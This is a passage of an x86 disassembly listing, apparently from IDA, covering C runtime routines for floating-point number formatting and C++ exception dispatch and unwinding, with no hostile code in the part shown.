		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_4168A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168E6	proc near		; CODE XREF: sub_416B63+17p
					; sub_416BAD+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_462C30, 0
		push	ebx
		push	esi
		jz	short loc_41691B
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_462C2C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_416BFE
		pop	ecx
		pop	ecx
		jmp	short loc_416953
; ---------------------------------------------------------------------------


loc_41691B:				; CODE XREF: sub_4168E6+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41A6AC
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41A635
		add	esp, 14h


loc_416953:				; CODE XREF: sub_4168E6+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41695F
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41695F:				; CODE XREF: sub_4168E6+73j
		test	ebx, ebx
		jle	short loc_416977
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_4316C0
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_416977:				; CODE XREF: sub_4168E6+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_462C30, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_412600
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41699E
		mov	byte ptr [ecx],	45h


loc_41699E:				; CODE XREF: sub_4168E6+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_4169E3
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_4169B2
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_4169B2:				; CODE XREF: sub_4168E6+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_4169C9
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_4169C9:				; CODE XREF: sub_4168E6+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_4169E0
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_4169E0:				; CODE XREF: sub_4168E6+E7j
		add	[ecx+1], bl


loc_4169E3:				; CODE XREF: sub_4168E6+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4168E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169EA	proc near		; CODE XREF: sub_416B8A+13p
					; sub_416BAD+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_462C30, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_416A25
		mov	eax, dword_462C34
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_462C2C
		cmp	eax, ebx
		jnz	short loc_416A55
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_416A55
; ---------------------------------------------------------------------------


loc_416A25:				; CODE XREF: sub_4169EA+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41A6AC
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41A635
		add	esp, 14h


loc_416A55:				; CODE XREF: sub_4169EA+22j
					; sub_4169EA+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_416A63
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_416A63:				; CODE XREF: sub_4169EA+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_416A7A
		push	1
		push	edi
		call	sub_416BFE
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_416A7C
; ---------------------------------------------------------------------------


loc_416A7A:				; CODE XREF: sub_4169EA+7Ej
		add	edi, eax


loc_416A7C:				; CODE XREF: sub_4169EA+8Ej
		test	ebx, ebx
		jle	short loc_416AC1
		push	1
		push	edi
		call	sub_416BFE
		mov	al, byte_4316C0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_416AC1
		cmp	byte_462C30, 0
		jz	short loc_416AA6
		neg	esi
		jmp	short loc_416AAC
; ---------------------------------------------------------------------------


loc_416AA6:				; CODE XREF: sub_4169EA+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_416AAE


loc_416AAC:				; CODE XREF: sub_4169EA+BAj
		mov	ebx, esi


loc_416AAE:				; CODE XREF: sub_4169EA+C0j
		push	ebx
		push	edi
		call	sub_416BFE
		push	ebx
		push	30h
		push	edi
		call	sub_411F70
		add	esp, 14h


loc_416AC1:				; CODE XREF: sub_4169EA+94j
					; sub_4169EA+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AC8	proc near		; CODE XREF: sub_416BAD+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41A6AC
		mov	dword_462C2C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_462C34, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41A635
		mov	eax, dword_462C2C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_462C34, ecx
		setl	cl
		mov	byte_462C38, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_462C34, eax
		jl	short loc_416B4E
		cmp	eax, ebx
		jge	short loc_416B4E
		test	cl, cl
		jz	short loc_416B3F


loc_416B35:				; CODE XREF: sub_416AC8+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_416B35
		and	[esi-2], al


loc_416B3F:				; CODE XREF: sub_416AC8+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_416B8A
		add	esp, 0Ch
		jmp	short loc_416B5E
; ---------------------------------------------------------------------------


loc_416B4E:				; CODE XREF: sub_416AC8+63j
					; sub_416AC8+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_416B63
		add	esp, 10h


loc_416B5E:				; CODE XREF: sub_416AC8+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B63	proc near		; CODE XREF: sub_416AC8+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_462C30, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4168E6
		and	byte_462C30, 0
		add	esp, 10h
		retn
sub_416B63	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B8A	proc near		; CODE XREF: sub_416AC8+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_462C30, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4169EA
		and	byte_462C30, 0
		add	esp, 0Ch
		retn
sub_416B8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BAD	proc near		; DATA XREF: sub_412929o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_416BE8
		cmp	[ebp+arg_8], 45h
		jz	short loc_416BE8
		cmp	[ebp+arg_8], 66h
		jnz	short loc_416BD5
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4169EA
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416BD5:				; CODE XREF: sub_416BAD+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416AC8
		jmp	short loc_416BF9
; ---------------------------------------------------------------------------


loc_416BE8:				; CODE XREF: sub_416BAD+7j
					; sub_416BAD+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4168E6


loc_416BF9:				; CODE XREF: sub_416BAD+39j
		add	esp, 10h
		pop	ebp
		retn
sub_416BAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BFE	proc near		; CODE XREF: sub_4168E6+2Cp
					; sub_4169EA+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_416C21
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_4126F0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_412E60
		add	esp, 10h
		pop	esi


loc_416C21:				; CODE XREF: sub_416BFE+7j
		pop	edi
		retn
sub_416BFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C23	proc near		; CODE XREF: .nsp0:00412B0Cp
					; sub_412B75+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_416C39
		call	sub_4174C2


loc_416C39:				; CODE XREF: sub_416C23+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_416C61
		cmp	dword ptr [esi+4], 0
		jz	short loc_416CB7
		cmp	[ebp+arg_14], 0
		jnz	short loc_416CB7
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_416F6A
		add	esp, 10h
		jmp	short loc_416CB7
; ---------------------------------------------------------------------------


loc_416C61:				; CODE XREF: sub_416C23+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_416CB7
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_416C9B
		cmp	[eax+14h], edi
		jbe	short loc_416C9B
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_416C9B
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_416CBA
; ---------------------------------------------------------------------------


loc_416C9B:				; CODE XREF: sub_416C23+4Aj
					; sub_416C23+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_416CBE
		add	esp, 20h


loc_416CB7:				; CODE XREF: sub_416C23+23j
					; sub_416C23+29j ...
		push	1
		pop	eax


loc_416CBA:				; CODE XREF: sub_416C23+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_416C23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CBE	proc near		; CODE XREF: sub_416C23+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_416CDE
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_416CE3


loc_416CDE:				; CODE XREF: sub_416CBE+16j
		call	sub_4174C2


loc_416CE3:				; CODE XREF: sub_416CBE+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_416E3A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_416D57
		cmp	[esi+14h], edi
		jnz	short loc_416D57
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_416D57
		mov	esi, dword_462C3C
		test	esi, esi
		jz	loc_416E35
		mov	eax, dword_462C40
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41A833
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416D39
		call	sub_4174C2


loc_416D39:				; CODE XREF: sub_416CBE+74j
		cmp	[esi], ebx
		jnz	loc_416E3A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_416D57
		cmp	[esi+14h], edi
		jnz	short loc_416D57
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_416D57
		call	sub_4174C2


loc_416D57:				; CODE XREF: sub_416CBE+41j
					; sub_416CBE+46j ...
		cmp	[esi], ebx
		jnz	loc_416E3A
		cmp	dword ptr [esi+10h], 3
		jnz	loc_416E3A
		cmp	[esi+14h], edi
		jnz	loc_416E3A
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_412CC3
		add	esp, 14h
		mov	ebx, eax


loc_416D8E:				; CODE XREF: sub_416CBE+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_416E25
		cmp	[ebx], edi
		jg	short loc_416E1A
		cmp	edi, [ebx+4]
		jg	short loc_416E1A
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_416E17


loc_416DB3:				; CODE XREF: sub_416CBE+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_416DE4


loc_416DC5:				; CODE XREF: sub_416CBE+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_416F0D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416DF3
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_416DC5


loc_416DE4:				; CODE XREF: sub_416CBE+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_416DB3
		jmp	short loc_416E17
; ---------------------------------------------------------------------------


loc_416DF3:				; CODE XREF: sub_416CBE+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41701E
		add	esp, 2Ch


loc_416E17:				; CODE XREF: sub_416CBE+F3j
					; sub_416CBE+133j
		mov	edi, [ebp+var_10]


loc_416E1A:				; CODE XREF: sub_416CBE+DEj
					; sub_416CBE+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_416D8E
; ---------------------------------------------------------------------------


loc_416E25:				; CODE XREF: sub_416CBE+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_416E35
		push	1
		push	esi
		call	sub_417393
		pop	ecx
		pop	ecx


loc_416E35:				; CODE XREF: sub_416CBE+56j
					; sub_416CBE+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416E3A:				; CODE XREF: sub_416CBE+37j
					; sub_416CBE+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_416E60
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_416E65
		add	esp, 20h
		jmp	short loc_416E35
; ---------------------------------------------------------------------------


loc_416E60:				; CODE XREF: sub_416CBE+180j
		jmp	sub_41746C
sub_416CBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E65	proc near		; CODE XREF: sub_416CBE+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_462C44, 0
		push	esi
		push	edi
		jz	short loc_416E96
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412B9A
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_416F09


loc_416E96:				; CODE XREF: sub_416E65+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_412CC3
		add	esp, 14h
		mov	esi, eax


loc_416EB2:				; CODE XREF: sub_416E65+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_416F09
		cmp	edi, [esi]
		jl	short loc_416F01
		cmp	edi, [esi+4]
		jg	short loc_416F01
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_416EDB
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_416F01


loc_416EDB:				; CODE XREF: sub_416E65+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41701E
		add	esp, 2Ch


loc_416F01:				; CODE XREF: sub_416E65+57j
					; sub_416E65+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_416EB2
; ---------------------------------------------------------------------------


loc_416F09:				; CODE XREF: sub_416E65+2Fj
					; sub_416E65+53j
		pop	edi
		pop	esi
		leave
		retn
sub_416E65	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F0D	proc near		; CODE XREF: sub_416CBE+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_416F64
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_416F64
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_416F3E
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416F60


loc_416F3E:				; CODE XREF: sub_416F0D+1Fj
		test	byte ptr [esi],	2
		jz	short loc_416F48
		test	byte ptr [edi],	8
		jz	short loc_416F60


loc_416F48:				; CODE XREF: sub_416F0D+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_416F57
		test	byte ptr [edi],	1
		jz	short loc_416F60


loc_416F57:				; CODE XREF: sub_416F0D+43j
		test	al, 2
		jz	short loc_416F64
		test	byte ptr [edi],	2
		jnz	short loc_416F64


loc_416F60:				; CODE XREF: sub_416F0D+2Fj
					; sub_416F0D+39j ...
		xor	eax, eax
		jmp	short loc_416F67
; ---------------------------------------------------------------------------


loc_416F64:				; CODE XREF: sub_416F0D+Bj
					; sub_416F0D+14j ...
		push	1
		pop	eax


loc_416F67:				; CODE XREF: sub_416F0D+55j
		pop	edi
		pop	esi
		retn
sub_416F0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F6A	proc near		; CODE XREF: sub_416C23+34p
					; sub_41701E+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D7F0
		push	offset sub_419528
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_416F9C:				; CODE XREF: sub_416F6A+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_416FF6
		cmp	esi, 0FFFFFFFFh
		jle	short loc_416FAB
		cmp	esi, [edi+4]
		jl	short loc_416FB0


loc_416FAB:				; CODE XREF: sub_416F6A+3Aj
		call	sub_4174C2


loc_416FB0:				; CODE XREF: sub_416F6A+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_416FCB
		push	103h
		push	ebx
		push	eax
		call	sub_417420


loc_416FCB:				; CODE XREF: sub_416F6A+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_416FEB
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_417008
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_416FEB:				; CODE XREF: sub_416F6A+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_416F9C
; ---------------------------------------------------------------------------


loc_416FF6:				; CODE XREF: sub_416F6A+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_417008	proc near		; CODE XREF: sub_416F6A+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_417019
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417019:				; CODE XREF: sub_417008+Cj
		jmp	sub_41746C
sub_417008	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41701E	proc near		; CODE XREF: sub_416CBE+151p
					; sub_416E65+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_417040
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4171CF
		add	esp, 10h


loc_417040:				; CODE XREF: sub_41701E+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41704C
		push	edi
		jmp	short loc_41704F
; ---------------------------------------------------------------------------


loc_41704C:				; CODE XREF: sub_41701E+29j
		push	[ebp+arg_24]


loc_41704F:				; CODE XREF: sub_41701E+2Cj
		call	sub_412A9C
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_416F6A
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_417099
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_417094
		push	edi
		push	eax
		call	sub_412A5A


loc_417094:				; CODE XREF: sub_41701E+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41701E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417099	proc near		; CODE XREF: sub_41701E+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41D800
		push	offset sub_419528
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_462C3C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_462C40
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_462C3C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_462C40, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_412B21
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41715F
		mov	eax, [ebp+var_2C]


loc_417126:				; CODE XREF: sub_41713F+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417099	endp


; =============== S U B	R O U T	I N E =======================================



sub_417135	proc near		; DATA XREF: .nsp0:0041D810o
		push	dword ptr [ebp-14h]
		call	sub_4171A5
		pop	ecx
		retn
sub_417135	endp


; =============== S U B	R O U T	I N E =======================================



sub_41713F	proc near		; DATA XREF: .nsp0:0041D814o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
